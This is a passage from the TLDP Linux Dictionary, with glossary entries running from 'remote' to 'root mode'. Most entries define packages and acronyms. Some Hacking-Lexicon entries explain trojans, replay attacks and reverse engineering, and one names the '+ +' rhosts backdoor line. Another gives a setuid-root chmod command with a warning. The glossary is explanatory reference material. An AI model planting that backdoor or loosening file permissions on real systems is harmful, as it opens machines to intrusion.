may be needed in order to break out of the sandbox. Key point: The most common remote exploits are buffer overflow and other unchecked input attacks. They are either done against public services (such as HTTP and FTP) or during the logon of protected services (such as POP and IMAP). From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

remote administration trojan (RAT)

A trojan that when run, provides a hacker remote administration to the machine. Contrast: A trojan is any program with a hidden intent. A RAT is one whose hidden intent is to remotely control the machine. In particular, once the program is run and installs itself as a hidden background service, it ceases to be a trojan in the classic sense and is now better thought of as a rootkit. Example: Back Orifice, NetBus, SubSeven, Hack'a'tack Contrast: A remote administration trojan is not a virus. The general populace uses the word virus to apply to any hostile program a hacker might use. Normally, being a purist using the correct word is futile, but in this case the distinction is important. You catch viruses accidentally, and the virus rarely does anything hostile to your system. Conversely, when a hacker attempts to infect your system with a remote administration trojan, the hacker is attacking you personally. Key point: Infections by remote administration Trojans on Windows machines are becoming as frequent as viruses. One common vector is through File and Print Sharing, when home users inadvertently open up their system to the rest of the world. If a hacker has access to the hard-drive, he/she can place the trojan in a location known as the startup folder. This will run the trojan the next time the user logs in. Another common vector is when the hacker simply e-mails the trojan to the user along with a social engineering hack that convinces the user to run it against their better judgment. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

remote procedure call (RPC)

A protocol where a program or routine on a server can be run remotely on a client. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

remstats

Remote Statistics System: collectors and presentation-cgis A system of programs to: * gather data from remote machines * store and maintain the data for long periods * produce graphs and web-pages tying them together * monitor the data for anomalous behaviour and issue alerts * modular support for various data sources MRTG and NOCOL provided the inspiration. Rrdtool provided the guts. Perl provided the platform. This is the data-collection and -presentation-package. Install remstats-servers on all hosts that are to be observed. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

remstats-bintools

Remote Statistics System: traceroute and multiping Special multiping and traceroute for remstats to be used by the data collection scripts and the remote information servers. Specially patched. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

remstats-servers

Remote Statistics System: remote information servers Remote information servers to be run on all hosts that are to be observed. * unix-status-server: Basic system statistics * log-server: get data from logfiles * remoteping-server: "next hop"-server. Gives information about other hosts connected to the host the server is running on. * nt-status-server: It had to go somewhere ;-] Get it to a NT-Box and read remstats-doc for further information. Only unix-status and log-server are enabled by default in /etc/inetd.conf. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

remsync

GNU sharutils From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rename

change the name or location of a file From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

renattach

Rename attachments on the fly. Renattach is a small, efficient and surprisingly effective filter designed primarily to offer an additional level of safety to Windows users whose e-mails pass through a UNIX-like mail server. Many modern viruses are spread through e-mail, and renattach combats such viruses by filtering e-mail attachments based on file extension. In version 1.1.1, the MIME type is also renamed. The idea is to rename potentially dangerous attachments (executable ones) so that the user, or the user's poorly written e-mail software, does not accidentally execute the attachment. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

renice

alter priority of running processes From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rep

lisp command interpreter frontends to librep This package contains the command-line frontends to the librep lisp interpreter. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rep-gtk

GTK binding for librep This package provides an interface to the GTK graphical toolkit for the librep lisp interpreter. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rep-gtk-gnome

GTK binding for librep with gnome support This package provides an interface to the GTK graphical toolkit for the librep lisp interpreter. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rep-remote

provides a protocol for executing all of librep's file operations on that host From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rep-xmms

rep language bindings for XMMS Language bindings for the rep lisp dialect for XMMS. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Repairlix

Repairlix is a networked Linux distribution/bootable system intended to fit in 12MB of media – so small that an image can be burned onto a business-card-sized shaped CDROM, suitable for your wallet. It has a suite of utilities for doing system recovery. A CD-based distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

replay

A replay attack is a type of sniffer attack where the traffic is captured then retransmitted back at a computer. Analogy: In the 1992 movie Sneakers, the victim uses a voice identification system. Therefore, the heroes record the voice of one of the victim's employees, edit it with a computer, then play it back into the voice recognition system. Key point: It seems the first generation of any security architecture is vulnerable to replay attacks. For example, IPsec was original vulnerable to some replay attacks, even though it had provisions against the most obvious ones. Key point: The anti-replay remedy is to include a timestamp with a message. This then implies that everyone needs to have their clocks synchronized in order to communicate correctly. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

replay

play back typescripts, using timing information From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

replicator

automate new computer installations in a networked site. Using a nfs-root filesystem and rsync, replicator allow you to non-interactively install a target computer identical to the model computer. It can handle differences in partitioning and hardware. Designed for clusters, classrooms and wherever you need identical Debian boxes. It's REALLY faster than normal Debian installation method. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

REPLY

Set to the line of input read by the read builtin command when no arguments are supplied. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

reportbug

reports a bug to a debbugs server From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

reportbug

Reports bugs in the Debian distribution. reportbug is a tool designed to make the reporting of bugs in Debian and derived distributions relatively painless. Its features include: * Integration with the mutt, af, and mh/nmh mail readers. * Access to outstanding bug reports to make it easier to identify whether problems have already been reported. * Support for following-up on outstanding reports. * Optional PGP/GnuPG integration. reportbug is designed to be used on systems with an installed mail transport agent, like exim or sendmail; however, you can edit the configuration file and send reports using any available mail server. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

request for comment (RFC)

A technical note submitted to the Internet Engineering Task Force (IETF) that describes novel techniques or technologies that can be eventually voted into a standard. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

request-tracker1

Request Tracker, a GPL'd Trouble Ticket System Request Tracker helps you handle and track problem reports, it features web interfaces for queue administration and report submitting and sends out email with replies and comments to those reports. Be sure to read /usr/share/doc/request-tracker1/README.Debian for installation instructions !!! This package used to be called webtr and was renamed in preparation of packaging Version 2 for Debian (see changelog). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RES

Remote Entry Services From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rescue mode

To boot a small Linux environment entirely from a diskette or CD-ROM, used mostly if a user is unable to boot the operating system or is having hardware or software issues. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

reset

terminal initialization From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

resize

set TERMCAP and terminal settings to current xterm window size From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

resize2fs

ext2 file system resizer From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

resizecons

change kernel idea of the console size From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RESTENA

RESeau Teleinformatique de l'Education NAtionale et de la recherche (network, Luxembourg) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RET

Report Engine Technology (CA, DB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RET

Resolution Enhancement Technology (HP), "REt" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RETM

Rare Earth / Transition Metal (MO), "RE/TM" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rev

reverse lines of a file From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

reverse engineering

A technique whereby the hacker attempts to discover secrets about a program. Some reverse engineering techniques are: strings Dumps all the human-readable strings within a program. In 1999, hackers looked for "strings" within Microsoft's products and found something labeled NSA_KEY. This led the paranoid delusion that the NSA had somehow convinced Microsoft to put a backdoor key into the system. Similarly, early in year 2000, hackers discovered strings like GetPrivateProfileString in the BlackICE Defender personal firewall and made paranoid assumptions (in reality, GetPrivateProfileString is a standard Win32 function). The most commonly used tool for this is the program strings included with UNIX. disassemble Takes the compiled output of a program and retrieves the original assembly language mnemonics, which are easier for humans to read. For example, the byte "0x90" might be converted back into NOOP (no operation) instruction. An example of using this technique to discover code being sent across the wire is at <http://www.robertgraham.com/pubs/aol-exploit>. The problem with disassembly is that it only makes the object files slightly more readable -- it doesn't reconstruct the full original source code or comments. decompile Decompilation produces high-level source code from an executable. The technique has proven essentially worthless for languages like C/C++, but works well on languages like Java, VisualBasic, and Delphi. It still doesn't obtain the original comments, however. Reverse engineering is often used to: anti-virus Discover how viruses work in order to write more effective signatures against them. cracking serialz Figuring out how copy protection works in order to break it. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

reverse engineering

The process of systematically taking apart a chip or application program to discover how it works, with the aim of imitating or duplicating some or all of its functions. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

reverse lookup

is the determining of the host name from the IP address. The course of queries is similar to forward lookups using part of the IP address to find out what machines are responsible for what ranges of IP address. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

revpath

generate a relative path that can be used to undo a change-directory From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

revtex4

Documentclass for the journals of the American Physical Society LaTeX 2e document class distributed by the American Physical Society (APS) in order to expedite the handling of manuscripts by the APS journals (Physical Review Letters, Physical Review, and Reviews of Modern Physics) while reducing costs and avoiding unnecessary duplication of effort. A manuscript prepared using the REVTeX 4 documentclass and following the guidelines presented in the enclosed documentation is considered by APS as a "compuscript." Compuscripts face lower publication charges as compared to non-compuscript manuscripts and supposedly get published faster. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rexima

A nice little ncurses mixer. rexima is 'a mixer' spelled backwards. A humble little mixer which is easy to use. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

REXX

Restructured EXtended eXecutor [language] (IBM, SAA, ANSI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rexxtk

Interface to Tcl/Tk for Regina REXX Rexx/Tk gives GUI capabilities to the interpreted language Regina Rexx by interfacing it with the Tcl/Tk libraries. It enables Rexx programmers to write portable GUI applications by calling functions that wrap the GUI portions of the Tcl/Tk package. It is also available on several other operating systems. Nearly all Tk functions have been implemented and support has been added for some third party widgets such as tree, combobox and multicolumn listboxes. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RF

Radio Frequency (mobile-systems) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFA

Request for Assistance (Internet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFB

Remote FrameBuffer [protocol] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rfb

The heXoNet RFB Software package includes many different projects. The goal of this package is to provide a comprehensive collection of rfb enabled tools and applications. One application, x0rfbserver, was (and maybe still is) the only complete remote control solution for the X Window System. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rfbdrake

rfbdrake is a tool to setup a client/server remote framebuffer for virtual network computing. It use vncviewer backend at the client side and x0rfbserver for the server side. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFC

/R-F-C/ n. [Request For Comment] One of a long-established series of numbered Internet informational documents and standards widely followed by commercial software and freeware in the Internet and Unix communities. Perhaps the single most influential one has been RFC-822 (the Internet mail-format standard). The RFCs are unusual in that they are floated by technical experts acting on their own initiative and reviewed by the Internet at large, rather than formally promulgated through an institution such as ANSI. For this reason, they remain known as RFCs even once adopted as standards. The RFC tradition of pragmatic, experience-driven, after-the-fact standard writing done by individuals or small working groups has important advantages over the more formal, committee-driven process typical of ANSI or ISO. Emblematic of some of these advantages is the existence of a flourishing tradition of 'joke' RFCs; usually at least one a year is published, usually on April 1st. Well-known joke RFCs have included 527 ("ARPAWOCKY", R. Merryman, UCSD; 22 June 1973), 748 ("Telnet Randomly-Lose Option", Mark R. Crispin; 1 April 1978), and 1149 ("A Standard for the Transmission of IP Datagrams on Avian Carriers", D. Waitzman, BBN STC; 1 April 1990). The first was a Lewis Carroll pastiche; the second a parody of the TCP-IP documentation style, and the third a deadpan skewering of standards-document legalese, describing protocols for transmitting Internet data packets by carrier pigeon. The RFCs are most remarkable for how well they work -- they manage to have neither the ambiguities that are usually rife in informal specifications, nor the committee-perpetrated misfeatures that often haunt formal standards, and they define a network that has grown to truly worldwide proportions. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFC

Acronym for Request For Comment, these a broad range of notes covering a variety of topics related to the Internet. RFCs are handled by the IETF and are archived at several sites. From KADOWKEV
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFC

Remote Function Call (SAP, CPIC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFC

Request For Comments (Internet, RFC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFC

Request for Comments – Standards that define the Internet and how it operates. RFC also refers to the way these documents are discussed and approved by the Internet community. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFC

See request for comment (RFC). From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFC (Request For Comments)

The name of the result and the process for creating a standard on the Internet. New standards are proposed and published on the Internet, as a Request For Comments. The proposal is reviewed by the Internet Engineering Task Force (<http://www.ietf.org/>), a consensus-building body that facilitates discussion, and eventually a new standard is established, but the reference number/name for the standard retains the acronym RFC, e.g. the official standard for e-mail message formats is RFC 822. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFCs

An indispensable source of information for serious administrators or developers is the RFCs. RFC stands for Request For Comments. RFCs are Internet standards written by authorities to define everything about Internet communication. Very often, documentation will refer to RFCs. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFCs (Request for Comments)

An Internet publication that constitutes the chief means by which standards are promulgated (although not all RFCs contain new standards). More than 1,000 RFCs are accessible from network information centers (NIC). The publication of RTFs is currently controlled by the Internet Architecture Board (IAB). From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFD

Ready-For-Data From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFD

Report Fragmentation Done [bit] (CATNIP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFD

Request For Discussion (Internet, Usenet), "RfD" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFE

Request For Enhancement (Internet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFI

Radio Frequency Interference From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFI

Request For Information (Internet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFIC

Radio Frequency Integrated Circuit (IC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFID

Linux Dictionary

Radio Frequency IDentification (ANSI, NCITS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFMS

Remote File Management System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFNM

Request For Next Message (IMP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFP

Request for Package (Linux, Debian) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFP

Request For Proposal (Internet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFQ

Request for Quotation From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFS

Remote File Sharing (AT&T, Unix) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFS

Remote File Sharing. Like NFS, a program that lets you treat files on another computer in more or less the same way as you treat files on your own computer. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFS

Remote File System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFS

REXX File System (REXX, CICS, VSAM, IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFS (Remote File Sharing)

A program that lets the user access files on another computer as if they were on the user's system. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFT

Request For Technology (OSF) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFT

Revisable Form Text From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RFTS

Remote File Transfer System (DDVS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RGB

Rot Gruen Blau / Red Green Blue (color system, DTP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RGP

Raster Graphics Processor From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RGP

Remote Graphics Processor From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rgpsp

Remote gPS poller rgpsp provides a top-like output through a tcp port, so that machines running gPS can remotely monitor information about processes and load on the machine rgpsp is running on. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rgrep

The rgrep utility can recursively descend through directories as it greps for the specified pattern. Note that this ability does take a toll on rgrep's performance, which is somewhat slow. Rgrep will also highlight the matching expression. Install the rgrep package if you need a recursive grep which can highlight the matching expression. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RH

Request Header From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rhino

JavaScript engine written in Java Rhino is an open-source implementation of JavaScript written entirely in Java. It is typically embedded into Java applications to provide scripting to end users. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rhn-applet

Panel applet for indication that newer Red Hat packages are available. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rhnlib

This package contains Python libraries developed specifically for interfacing with Red Hat Network. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rhosts

On UNIX, the "rhosts" mechanism allows one system to trust another system. This means that if a user logs onto one UNIX system, they can further log onto any other system that trusts it. Only certain programs will use this file: rsh Tells the system to open a remote "shell" and run the specified program. rlogin Creates an interactive Telnet session on the other computer. Key point: A common backdoor is to place the entry "+ +" in the rhosts file. This tells the system to trust everybody. Key point: The file simply contains a list of named hosts or IP addresses. Sometime the hacker can forge DNS information in order to convince the victim that he has the same name as a trusted system. Alternately, a hacker can sometimes spoof the IP address of a trusted system. See also: hosts.equiv From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rhpl

The rhpl package contains Python code used by programs in Red Hat Linux. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RI

Ring Indicator (RS-232, MODEM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RI

Routing Information From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ri

Ruby Interactive reference ri is a command line tool that displays descriptions of built-in Ruby methods, classes, and modules. For methods, it shows you the calling sequence and a description. For classes and modules, it shows a synopsis along with a list of the methods the class or module implements. All information is taken from the reference section of the book Programming Ruby. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ri-cs-el

an emacs interface for ri A set of Emacs macros which implement a function, `ri', with which you can browse pages of Ruby documentation generated by the command 'ri'. Formatting is done in background so that you can continue to use your Emacs while processing is going on. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ri-db-el

an emacs interface for ri Provide three kinds of support for 'ri' inside emacs: – simple interactive query – a browsable index, where you can follow links to do things like drill down on the methods within a class or module. – pop-up help on the class or method under point. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RIACS

Research Institute for Advanced Computer Science (org.) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RID

Relative IDentifier From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RIDE

Research Issues in Data Engineering (IEEE-CS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RIE

Reactive Ion Etching (IC) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RIF

Routing Information Field (Token Ring) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RIFF

Resource Interchange File Format (MS, IBM, MM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rig

Random identity generator RIG (Random Identity Generator) is a free replacement for a shareware program out there called 'fake'. It generates random, yet real-looking, personal data. It is useful if you need to feed a name to a Web site, BBS, or real person, and are too lazy to think of one yourself.

Also, if the Web site/BBS/person you are giving the information to tries to crosscheck the city, state, zip, or area code, it will check out. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RIG

Related Interest Group From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RIG

Rochester Intelligent Gateway (OS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RII

Routing Information Indicator From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RIM

Remote Installation and Maintenance From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RIME

Relaynet International Message Exchange From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RIMiGate

RIMiGate is a floppy-based Linux distribution for running WA4DSY's aprsd. Its goal is to make it easy to deploy igates for the APRS project. Version 0.2 was released April 4, 2003. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RIMM

Rambus Inline Memory Module (Rambus, IC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rinetd

Internet redirection server rinetd redirects TCP connections from one IP address and port to another. rinetd is a single-process server which handles any number of connections to the address/port pairs specified in the file /etc/rinetd.conf. Since rinetd runs as a single process using nonblocking I/O, it is able to redirect a large number of connections without a severe impact on the machine. This makes it practical to run services on machines inside an IP masquerading firewall. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rio

A command line Diamond Rio MP3 player controller rio is a Diamond Rio MP3 CLI controller program The home website is <http://www.world.co.uk/sba/index.htm> This program supports file uploads and downloads, on both the Classic Rio and the 64 Meg Rio, and supports plug in cards. The default port is 0x378, if your rio is plugged into a different port, you will need to use the `-p` option. This program directly controls various IOports. The program need to be run as root, or setuid root. If you execute the following line as root after package installation, the program will be setuid root.
`chmod 4755 /usr/bin/rio` Do NOT do that unless you understand the security implications of a setuid binary that can "easily" overwrite any system file. From Debian 3.0r0 APT

ROAMS

Reusable Object Access and Management System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

robodoc

A program documentation tool. The idea is to include for every function or procedure a standard header containing all sorts of information about the procedure or function. ROBODoc extracts these headers from the source file and puts them in a separate autodocs-file. ROBODoc thus allows you to include the program documentation in the source code and avoid having to maintain two separate documents. Or as Petteri puts it: "robodoc is very useful – especially for programmers who don't like writing documents with Word or some other strange tool." ROBODoc can format the headers in a number of different formats: HTML, ASCII, AmigaGuide, LaTeX, or RTF. In HTML mode it can generate cross links between headers. You can even include parts of your source code. ROBODoc works with many programming languages: For instance C, Pascal, Shell Scripts, Assembler, COBOL, Occam, Postscript, Forth, Tcl/Tk, C++, Java -- basically any program in which you can use remarks/comments. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

robotfindskitten

Zen Simulation of robot finding kitten In this simulation, you play the part of robot. Your task is to complete the simulation by finding kitten, as is your destiny, and indeed your wont. You (robot) are represented by the # character, and you move around with the arrow keys touching things. If the thing you touch is kitten, you get a cute little animation (which was cuter in the DOS version) and the simulation ends. Otherwise, you get a brief description of what it is you touched. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ROC

RAID On a Chip (RAID) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ROCF

Remote Object Class Factory From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Rock Linux

This is a source based distribution. Rock Linux comes in a variety of flavors, from the Rock Linux massive parallel project (cluster) to the rocksolid credit card rocklinux, with the dROCK desktop in between. Rock Linux version 2.0.0-beta6 was released June 25, 2003. The dRock desktop distribution released version 2.0.0-beta6 on June 24, 2003. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rocketworkbench

Rocket Design Utilities The Rocket Workbench Project is a mission to develop open source high quality software tools for the design of experimental rockets. Using the most up to date rocket theory allows the software to produce the most accurate results. This package currently implements the following tools: cpropep – Propellant Evaluation Program From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Rockridge extensions

They are an add-on to the traditional ISO 9660 format. These extensions are necessary to handle the long file names and deeply nested directories frequently used in Linux programs. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rocks

Make network sockets reliable in a transparent way Rocks protect sockets-based applications from network failures, particularly failures common to mobile computing, including: – Link failures (e.g., unexpected modem disconnection); – IP address changes (e.g., laptop movement, DHCP lease expiry); – Extended periods of disconnection (e.g., laptop suspension). Rock-enabled programs continue to run after any of these events; their broken connections recover automatically, without loss of in-flight data, when connectivity returns. Rocks work transparently with most applications, including SSH clients, X window applications, and network service daemons. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rocks-n-diamonds

Boulderdash-like game This game should be instantly familiar to those who have tried "Boulderdash" on the C-64, or "Emerald Mine" on the Amiga. For the rest of you, it is a game in which you basically collect emeralds, stay away from monsters and try to avoid being squished by rocks. This version includes sound and supports joysticks, but your keyboard can also be used. It is even possible to design your own levels with the built-in editor, and to record your game, replay it, and save it! From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ROD

Rewritable Optical Disk (OD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ROFL

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ROLC

Routing Over Large Clouds From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

roleplaying

A database system for role players The Role Playing DataBase System is a database system for Role Playing Gamers. It provides a way for players and game masters to store the many pieces of information needed for Role Playing. The Role Playing Database package consists of a collection of C++ classes that implement a series of structures that contain the various data entities that represent the various aspects and features used in a Role Playing Game, including the characters, monsters, spells, treasures, tricks, traps, etc. The database can be accessed through a Tcl/Tk interface but it the library can also be used to develop other applications related to role-playing. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rolldice

A virtual dice roller A virtual dice roller that takes a string on the command line in the format of some fantasy role playing games like Advanced Dungeons & Dragons [1] and returns the result of the dice rolls. [1] Advanced Dungeons & Dragons is a registered trademark of TSR, Inc. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ROM

Read Only Memory (ROM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ROMBIOS

Read-Only Memory – Basic Input Output System (ROM, BIOS), "ROM-BIOS" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ROMC

Required Operational Messaging Characteristics From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

root

1. The name of the login account given full access to all system resources. 2. The directory named / as in, "the root directory." root partition The partition where / (the root directory) will be located on a UNIX or UNIX-compatible system. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

root

n. [Unix] 1. The superuser account (with user name `root') that ignores permission bits, user number 0 on a Unix system. The term avatar is also used. 2. The top node of the system directory structure; historically the home directory of the root user, but probably named after the root of an (inverted) tree. 3. By extension, the privileged system-maintenance login on any OS. See root mode, go root, see also wheel. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

root (superuser, administrator)

On UNIX, root is the superuser or administrator account that has complete control over everything in the machine. Often used as a verb: to root a box is to gain administrative (i.e. full) control over the system and own it. Key point: The term can be used as a verb. To "root" machine is to break in and obtain root privileges, and their own the machine. From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Root directory

The top-level directory created when you format the disk. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ROOT Linux

ROOT Linux is an advanced GNU/Linux operating system. It aims to be fast, stable and flexible.

ROOT Linux is not recommended as a first Linux distribution. People should have experience with Linux and computers in general. Version 1.3 was released August 27, 2002. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

root mode

n. Syn. with wizard mode or `wheel mode'. Like these, it is often generalized to describe privileged states in systems other than OSes. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
